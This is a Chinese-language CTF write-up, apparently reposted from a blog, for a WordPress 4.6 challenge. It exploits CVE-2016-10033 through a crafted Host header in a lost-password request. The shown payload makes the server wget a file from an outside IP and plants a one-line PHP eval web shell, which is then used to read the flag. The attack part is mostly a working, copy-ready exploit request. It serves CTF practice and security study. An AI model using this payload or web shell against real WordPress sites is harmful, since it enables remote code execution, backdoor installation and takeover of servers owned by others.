其他分享
首页 > 其他分享> > 安鸾CTF Writeup wordpress 01

安鸾CTF Writeup wordpress 01

作者：互联网

- 题目一： wordpress01  

URL：http://whalwl.site:8041/

 

使用wpscan 进行扫描检测。

wpscan 使用方法可以参考两篇文章：

https://xz.aliyun.com/t/2794  https://github.com/wpscanteam/wpscan

 

wpscan --url http://whalwl.site:8041/

从wpscan扫描得知该站 wordpress 版本为4.6 

查询资料得知，4.6版本的wordpress 存在 RCE漏洞 

相关漏洞详情可以参考，或自己查找CVE-2016-10033相关详情 

https://vulhub.org/vulhub/wordpress/pwnscriptum/README.zh-cn.md

 

下面复现一下怎么getshell，老规矩上 Burp Suite  进行抓包

构造EXP时需注意：

  1. 远程 URL 中不要有 http://
  2. 所有字母必须小写
  3. 所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
  4. 所有 空格 用 ${substr{10}{1}{$tod_log}} 代替

实际执行命令：

/usr/bin/wget --output-document /var/www/html/999.php 167.160.xxx.217/999.txt
999.txt：
<?php @eval($_POST[ok]);?>

 

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}999.php${substr{10}{1}{$tod_log}}167.160.xxx.217${substr{0}{1}{$spool_directory}}999.txt}} null)
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wp-settings-2=uploader%3D1%26mfold%3Do; wp-settings-time-2=1627704969; wordpress_test_cookie=WP+Cookie+check
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

wp-submit=Get+New+Password&redirect_to=&user_login=admin

 

 

 

 

 

然后用菜刀连接：http://whalwl.site:8041/999.php 密码：ok

 

访问根目录获取flag

 

 

标签：01,Writeup,999,spool,substr,CTF,wpscan,directory,wordpress
来源： https://www.cnblogs.com/jzking121/p/15132214.html